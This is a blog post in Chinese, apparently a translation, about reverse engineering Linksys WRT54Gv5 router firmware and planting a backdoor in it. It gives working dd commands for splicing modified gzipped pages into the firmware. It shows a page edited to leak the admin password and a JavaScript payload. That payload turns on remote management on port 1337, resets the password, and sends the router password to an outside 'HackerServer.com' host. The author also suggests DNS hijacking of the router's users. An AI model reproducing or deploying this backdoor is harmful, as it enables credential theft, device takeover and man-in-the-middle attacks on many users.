最近我對嵌入式設備安全方面比較感興趣,所以我決定找點東西練練手,于是我在淘寶上搜了一下,發現Linksys WRT54Gv5無線路由比較流行,決定就拿這個下手了。
首先要做的就是對固件開始逆向,看一下它的內部構件都是什么玩意兒。這個過程我也發現了這是一件多么令人蛋疼的事情,因為linksys本身已經不再承載固件了,另外,由于版權保護的問題,也沒人跟我一樣這么做。這些事簡直蠢到家了,不過最終我還是偶然發現了一個固件副本,然后用它給我的路由器刷了固件以便分析時與硬件保持一致,然后就開始上手了。
分析
在看了不少devttys0.com博客上講的東西之后,我決定用binwalk來分析固件文件。
下面是分析后的結果:
mandatory@mandatorys-box:~/Reversing/5v_Linksys-WRT54Gv5$ binwalk FW_WRT54Gv5v6_1.02.8.001_US_20091005.bin
DECIMAL HEX DESCRIPTION
512 0x200 ELF 32-bit LSB MIPS-II executable, MIPS, version 1 (SYSV)
101648 0x18D10 Copyright string: " 1984-1996 Wind River Systems, Inc.Inc."
103664 0x194F0 LZMA compressed data, properties: 0x6C, dictionary size: 8388608 bytes, uncompressed size: 3680864 bytes
1182692 0x120BE4 TROC filesystem, 102 file entries
1185153 0x121581 gzip compressed data, was "apply.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:45:58 2009{epoch:1252050358}
1185892 0x121864 gzip compressed data, was "apply1.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:45:58 2009{epoch:1252050358}
完整的戳這
看完這個之后我覺得自己還是很幸運的,下面簡單地說一下這些東西代表的含義:
0×200偏移之后是MIPS bootloader;
0x18D10偏移之后是Wind River Systems Inc版權聲明,這行很重要因為他們做了我手上這個路由的操作系統Vxworks Operating System;
0x194F0偏移之后是Vxworks OS/文件系統,不過我現在暫時沒能力反匯編(沒有文檔化的大文件系統肯定不好搞);
一堆類似于appky.htm這樣gzip壓縮的普通文件;
直觀上來看,firmware是這樣分布的:[ Bootloader ] [ Copyright String ] [ VxWork OS & Filesystem ] [ TROC Filesystem Entry ] [ gziped htm/image files ]
有個現象比較幸運,那就是實際上這些壓縮著的普通文件都是一個緊接著一個的,這樣我們就知道了每個文件都是從哪里開始然后從哪里結束的,這些偏移可以通過不同文件類型中內置的Magic Number來推算出的,就是利用幾個特殊的byte來標識出文件類型。舉個例子,gzip的Magic Number是1f 8b – binwalk找到這幾個數然后在二進制文件中對這些文件進行定位。
然后邏輯上來講,我們可以用同樣大小的二進制數據來替換這些文件(要依據于固件更新后文件的絕對位置);
開搞
一個小小的dd命令就可以從路由器固件中摘出來一個.htm文件,其實binwalk也有內置的導出函數用來提取文件,不過我沒有操作成功(你可以試一下);
dd if=firmware.bin bs=1 skip=[Offset] count=[Next Offset – Current Offset] of=output_filename
我們先來搞一點簡單的,先把Unauthorized.htm和lastpassword.htm這兩個文件提取出來,我特么完全不知道lastpassword.htm這個文件為毛會在固件里面出現,但是它可以把當前路由里面的管理密碼以文本的格式輸出啊!可能是程序員開發固件的時候不小心留下了這么個逗逼的調試用文件。
lastpassword.htm:
<HTML><HEAD>
<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
</HEAD>
<BODY><PRE>Last Password : <TRI_START_LASTPSW>[TRI_LAST_PASSWORD]<TRI_END_LASTPSW>
</PRE></BODY></HTML>
你應該注意到了lastpassword.htm里面的這些東西:
<TRI_START_LASTPSW>[TRI_LAST_PASSWORD]<TRI_END_LASTPSW>
這個標簽將會被路由的當前密碼代替,所以我們也許就能把這個放到Unauthorized.htm里面,這樣無論密碼怎么變我們都能有路由的管理權限;
還記得不,我們有點蛋疼的地方就是要保證替換的文件要和以前的大小一樣,因為.htm文件將會被壓縮,所以問題出在這個地方,不過還好,可以解決。
一番捯飭之后,我們最終搞成這個樣子:
<HTML><BODY BGCOLOR="#cc9999"> <H4>401 Unauthorized</H4>
<!–<TRI_START_LASTPSW>[TRI_LAST_PASSWORD]<TRI_END_LASTPSW> –>
然后ls一下看一下文件大小:
9699468 12 -rw-r–r– 144 Oct 18 14:44 Unauthorized.htm.gz
9699467 12 -rw-rw-r– 144 Oct 18 14:13 Unauthorized_original.htm.gz
現在再看一下以前binwalk后的結果:
1338096 0x146AF0 GIF image data, version "89a", 192 x 64
1340943 0x14760F gzip compressed data, was "Unauthorized.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:03 2009
1341087 0x14769F gzip compressed data, was "Upgrade.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:03 2009
1344585 0x148449 gzip compressed data, was "UpgStat.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:03 2009
然后我們把固件從Unauthorized.htm中間劈開,加上我們的文件再組合在一起:
# Cut off first half of firmware right before Unauthorized.htm.gz
dd if=FW_WRT54Gv5v6_1.02.8.001_US_20091005.bin bs=1 count=1340943 of=first_half
# Cut out the second half of the firmware right after Unauthorized.htm.gz
dd if=FW_WRT54Gv5v6_1.02.8.001_US_20091005.bin bs=1 skip=1341087 of=second_half
# Add our backdoored Unauthorized.htm.gz to the firmware
cat Unauthorized.htm.gz >> first_half
# Put the pieces together
cat second_half >> first_half
Cool!然后我們再檢查一下確保自己所有的步驟都是對的然后開始升級固件:
我承認第一次搞這個有點小緊張,總害怕不好使,但是很榮幸,刷完固件之后成功了!
登錄一下:
然后取消進去Unauthorized.htm頁面:
F12:
mandatory即為路由密碼!
Perfect!然后現在我們就有了一個比較隱秘的控制路由器的方式,但是這個東西不好大范圍搞,我們怎么樣才能做出來一個類似于僵尸網絡一樣的payload呢?
后門
我看了一下別人寫的payload,最終決定用JS來寫后門,因為JS的跨平臺性很好。而且JS內建了足夠多的函數來讓我們隨意更改配置,愛咋用咋用。雖然我們沒法去控制路由器來去DDos,但是我們可以更改路由器的DNS,控制了DNS我們就可以來對路由器的使用者做中間人攻擊。這是因為大部分的計算機都直接采用了路由器選擇的DNS,所以你簡簡單單控制了一臺路由就相當于黑了一片PC,這個案例就相當于Zlob trojan,事實也證明了這個東西具有極大的殺傷力。
開搞。
路由設置頁面的主頁是basic.htm文件,一旦用戶登錄就立即被重定向到這個頁面,所以如果我們把后門加到這個頁面就會有極大的命中率,我們制作一個發送用戶名和密碼到我們控制的服務器上的payload,同時開啟遠程認證端口1337。
編了點JS代碼,然后我們手里就有貨了:
function evil_payload()
{
xml = new XMLHttpRequest();
xml.open('POST', 'http://admin:<TRI_START_LASTPSW>[TRI_LAST_PASSWORD]<TRI_END_LASTPSW>@192.168.1.1/manage.tri');
var params = "remote_mgt_https=0&http_enable=1&https_enable=0&PasswdModify=0&http_passwd=d6nw5v1x2pc7st9m&http_passwdConfirm=d6nw5v1x2pc7st9m&_http_enable=1&web_wl_filter=1&remote_management=1&http_wanport=1337&upnp_enable=1&layout=en";
xml.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xml.setRequestHeader("Content-length", params.length);
xml.setRequestHeader("Connection", "close");
xml.send(params);
thb = new XMLHttpRequest();
thb.open('GET', 'http://HackerServer.com/hue.php?p=<TRI_START_LASTPSW>[TRI_LAST_PASSWORD]<TRI_END_LASTPSW>');
thb.send();
}
這兩個request里面,我們開啟了遠程控制端口,然后把用戶名和密碼發送到了我們控制的主機上。
然后用上面同樣地方法我們把這個后門添加到固件里面(記住,大小一定要一樣)。
刷固件,然后,wallah!
[gif動圖,請戳:http://blog.depressedmarvin.com/images/2014/10/08/router_backdoor.gif]
當然,這只是個proof,真正后門在做的時候應該會可以C&C來實時控制路由的DNS Server。
比你想的要容易的多吧,事實上,我之后又分析了一些路由器固件,有同樣的問題存在。
下次再會。